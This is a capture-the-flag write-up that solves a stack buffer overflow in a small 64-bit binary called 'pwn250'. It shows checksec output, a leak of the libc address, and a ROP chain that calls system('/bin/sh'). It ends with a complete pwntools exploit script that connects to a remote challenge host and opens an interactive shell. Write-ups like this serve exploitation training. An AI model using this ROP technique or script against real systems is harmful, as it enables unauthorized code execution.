This was a pretty standard, stack-based overflow. You can download the file here.

Through file and checksec we see that it’s a 64-bit ELF non-stripped binary, dynamically linked, compiled with only the NX mitigation:

$ file ./pwn250 
./pwn250: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=b92b9ef9aa21452b83be93778ed175c6c37de92d, not stripped
$ checksec ./pwn250 
[*] './pwn250'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

If we open the binary with IDA, we see from the pseudocode that it’s a quite simple binary:

int main(int argc, const char **argv, const char **envp)
{
  here();
  write(1, "Hello, World\n", 13);
  return 0;
}
ssize_t here()
{
  char buf[128];

  return read(0, buf, 256);
}

The vulnerability is clear: there is a read call that reads 256 bytes from standard input and writes them in a variable that can contain 128 bytes.

There is NX so we cannot inject and execute shellcode directly. Our strategy then is to create a small ROP chain to call system and execute a shell.

First we need to gather the address of system from libc, and find an address that points to /bin/sh. Since the binary is not PIE, we can use one of the functions imported from libc to leak their address. Our target is read.

In order to do this we can use the write to print the address of read. The organizers were kind enough to leave a function called foryou with a great gadget:

.text:0000000000400566 foryou          proc near
.text:0000000000400566                 push    rbp
.text:0000000000400567                 mov     rbp, rsp
.text:000000000040056A                 pop     rdi
.text:000000000040056B                 pop     rsi
.text:000000000040056C                 pop     rdx
.text:000000000040056D                 retn

We can use this gadget to prepare the registers before the call to write. Our payload/ROP chain to leak the address of read looks like this:

payload = ""
payload += "A" * 128
payload += p64(0xcafebabe) # RBP
payload += p64(0x400567) # mov rbp, rsp; pop rdi; pop rsi; pop rdx; ret;
payload += p64(0x1) # rdi
payload += p64(0x601020) # rsi - address of read
payload += p64(0x10) # rdx - number of bytes to write
payload += p64(0x400430) # address of write
payload += p64(0x4005A6) # jump back to here

One thing to keep in mind: we include the mov rbp, rsp in the ROP chain because if rbp contains an invalid address, the subsequent leave would fail and the program would crash. With the mov we make sure that rbp points to a valid address.

After using the gadget to populate the registers, we call write and when it returns we go back to the function here where we can send our second payload to get the shell.

Once we get the address of read, we can calculate the base address for libc (which was provided), and consequently the address of system and of the string /bin/sh in the binary.

Our second payload looks like this:

payload = ""
payload += "A"*128
payload += p64(0xcafebabe) # RBP
payload += p64(0x400633) # pop rdi; ret; 
payload += p64(sh_address) # rdi
payload += p64(system_address)

This second payload first pops the address of /bin/sh into rdi and then executes system.

The full exploit code is below. Sorry guys, I forgot to save the flag :P

from pwn import *

local = 0
if local:
    p = process("./pwn250")
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
    p = remote("54.153.19.139", 5255)
    libc = ELF("./libc.so")

payload = ""
payload += "A"*128
payload += p64(0xcafebabe) # RBP
payload += p64(0x400567) # mov rbp, rsp; pop rdi; pop rsi; pop rdx; ret;
payload += p64(0x1) # rdi - standard output
payload += p64(0x601020) # rsi - address of read
payload += p64(0x10) # rdx - number of bytes to write
payload += p64(0x400430) # address of write
payload += p64(0x4005A6) # jump back to here
p.sendline(payload)

leak_addr = u64(p.recv(8))
libc_base_addr = leak_addr - libc.symbols['read']
system_address = libc_base_addr + libc.symbols['system']
sh_address = libc_base_addr + next(libc.search("/bin/sh\x00"))
log.info("libc_base_addr @ {:08x}".format(libc_base_addr))

payload = ""
payload += "A"*128
payload += p64(0xcafebabe) # RBP
payload += p64(0x400633) # pop rdi; ret; 
payload += p64(sh_address) # rdi
payload += p64(system_address)
p.sendline(payload)

p.sendline("uname -a && id")
p.interactive()